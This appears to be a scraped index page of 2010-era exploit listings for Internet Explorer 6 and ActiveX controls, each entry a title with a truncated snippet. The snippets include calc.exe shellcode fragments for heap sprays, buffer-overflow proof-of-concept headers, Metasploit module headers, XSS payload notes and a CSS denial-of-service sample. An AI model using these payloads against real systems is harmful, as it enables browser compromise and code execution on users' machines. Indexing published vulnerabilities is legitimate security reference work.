Wordpress 3.0.3 Stored Cross Site Scripting

Exploit Title: Wordpress 3.0.3 stored XSS IE7,6 NS8.1 Date: 27 december 2010 Author: Saif Software Link:wordpress.org Version: 3.0.3 Tested on: IE 6 a stored XSS vulnerability using CSS styles affecting users surfing the malicious post using IE6, IE7, NS 8.1 POC: "" in the content variable in the...

Viscom VideoEdit Gold ActiveX 8.0 - Code Execution

// Ctrl+C Ctrl+V, herpderp // calc.exe var shellcode = unescape '%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+ '%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+ '%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+...

Immunity Canvas: IE_SETUSERCLIP

Name| iesetuserclip ---|--- CVE| CVE-2010-3962 Exploit Pack| CANVAS Description| iesetuserclip Notes| Date public: 11/04/2010 Notes: This bug was discovered in the wild. IE6, 7 and 8 are vulnerable to this bug, but because of its behaviour some versions will not be exploitable. The only full...

Microsoft Internet Explorer 678 - Memory Corruption

Microsoft Internet Explorer 678 - Memory Corruption Internet Explorer Memory Corruption 0day Vulnerability CVE-2010-3962 Tested on Windows XP SP3 IE6 IE7 IE8 Coded by Matteo Memelli ryujin at offsec.com http://www.offensive-security.com/0day/ie-0day.txt Thx to dookie at offsec.com notes : This is...

uchome 2.0 存在持久XSS漏洞

看源码分析的，出错位置较敏感，而且基本没有利用限制，个人主页自定义风格时，可@import外部css文件 uchome 2.0 临时解决方法： implode应该是import的笔误 /expression|vbscript|javascript|import/i 以下在uchome 简体utf-8 2.0测试IE6,IE7,IE8通过. @import urlhttp://xxx.com/1.css; 包含远程css文件，可以在1.css中写入XSS利用. 分析代码 cptheme.php 92行17行调用 function checksecurity$str...

This Week in Security: Phantom Firefox Menace, Mass Domain Ownage and The Curious Case of IE6

There’s old, and there’s old. Internet Explorer 6 clearly falls into the latter category, but despite its advancing age, IE6 still holds a lot of sway in the enterprise, as new data that came to light this week. That’s not the only weirdness that reared its head this week, though. There was the...

AoAAudioExtractor 2.0.0.0 - ActiveX (PoC) (SEH)

AoAAudioExtractor 2.0.0.0 - ActiveX PoC SEH 'AoAAudioExtractor 2.0.0.0 ActiveX PoC SEH ' Author: Hadji Samir ,[email protected] ' Tested on: Windows XP SP2 FR / IE6 ' Down: http://www.aoamedia.com/audioextractor.exe ' Date: 2010-08-09 'samir tjrs mahboul-3lik arg1=String2048, "A" nseh=String4, "B"...

Barcodewiz 3.29 Barcode Active-X Control Heap Spray

// Payload is win32exec - calc.exe shellcode = unescape'%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+ '%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+ '%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+...

FathFTP 1.7 - ActiveX Buffer Overflow

' Exploit Title: FathFTP 1.7 ActiveX Buffer Overflow ' Date: July 7, 2010 ' Author: Blake ' Software Link: http://www.softpedia.com/get/Programming/Components-Libraries/FathFTP.shtml ' Version: 1.7 ' Tested on: Windows XP SP3 / IE6 ' Note: The GetFromURL member is also vulnerable to a stack...

NCTAudioFile2 2.x - ActiveX Control 'SetFormatLikeSample()' Remote Buffer Overflow (Metasploit)

$Id: nctaudiofile2setformatlikesample.rb 9668 2010-07-03 01:38:15Z jduck $ This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and terms of use...

Persits XUpload - ActiveX AddFile Buffer Overflow (Metasploit)

$Id: hploadrunneraddfile.rb 9262 2010-05-09 17:45:00Z jduck $ This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and terms of use...

UPLoad 7.0 Insecure Cookie Handling

======================================================================================== | Title : whem-UPLoad - v 7.0 Insecure Cookie Handling Vulnerability | Author : indoushka | email : [email protected] | Home : Souk Naamane - 04325 - Oum El Bouaghi - Algeria -00213771818860 | | Web Site :...

TinyMCE WYSIWYG Editor - Multiple Vulnerabilities

TinyMCE WYSIWYG Editor - Multiple Vulnerabilities + Vurnerebility: Js tinymce/tinymce WYSIWYGjava script vurnerebility xss--popup & SQl implemented + Language : Java--,Xml + lisences : LGPL + Vendor : Moxiecode Systems AB + support : IE7J0/IE6.0/NS8.1-IE/NS8.1-G/FF2.0/O9.02; + Category : bug repo...

TinyMCE WYSIWYG Editor Multiple Vulnerabilities

Exploit for unknown platform in category web applications =============================================== TinyMCE WYSIWYG Editor Multiple Vulnerabilities =============================================== + Vurnerebility: Js tinymce/tinymce WYSIWYGjava script vurnerebility xss--popup & SQl implement...

TinyMCE WYSIWYG Editor - Multiple Vulnerabilities

Vurnerebility: Js tinymce/tinymce WYSIWYGjava script vurnerebility xss--popup & SQl implemented + Language : Java--,Xml + lisences : LGPL + Vendor : Moxiecode Systems AB + support : IE7J0/IE6.0/NS8.1-IE/NS8.1-G/FF2.0/O9.02; + Category : bug report + vendor : http://tinymce.moxiecode.com/ +...

QvodPlayer ColorFilter Codec ActiveX Remote Exec

QvodPlayer ColorFilter Codec ActiveX Remote Exec Download : http://www.qvod.com Vulnerability: object id=TestObj classid="CLSID:432F118C-DB79-4561-9799-CC95EA78208B" style="width:100;height:350"/object Tested on XpSP2 IE6/7 Discoverd By: Securitylab.ir Website: http://securitylab.ir Contacts:...

Xunlei XPPlayer ActiveX Remote Exec 0day POC

Date: 2010.01.17 Author: superli Software Link: http://down.sandai.net/Thunder5.9.14.1246.exe Version: = 5.9.14.1246 Tested on: xpsp3 ie6 Greeting to Xunlei Security Center guys,your guys still not yet release patch or new version to fix the vunl which also can attack Xunlei KanKan...

Kingsoft DuBa Browser Shield ActiveX Remote Exec 0day POC

Date: 2010.01.17 Author: superli Software Link: http://i2d.www.duba.net/i2d/kws3/KWSSetup.exe Version: 3.0 Tested on: xpsp3 ie6 greeting to KingSoft,can you really help users avoiding being hacked ? this vuln almost effect in all of the duba security software. Code : object id=TestObj...

ie6 css设置拒绝服务漏洞

No description provided by source. style type="text/css" !-- 问题是css里面设置样式的时候出错了。 css定义的是f:expressionthis.src='about:blank',this.outerHTML=''; 问题应该就是mshtml.dll里 -- /!CDATA/ iframe f:expressionthis.src='about:blank',this.outerHTML=''; f126v:expression !important // /style iframe id=f126 src=test...

Microsoft: Emergency IE Patch Coming

Microsoft has started dropping broad hints that an emergency patch for Internet Explorer will be released very soon to counter targeted attacks and the publication of exploit code for a “browse and you’re owned” vulnerability in its flagship Web browser. UPDATE: Here is the official confirmation...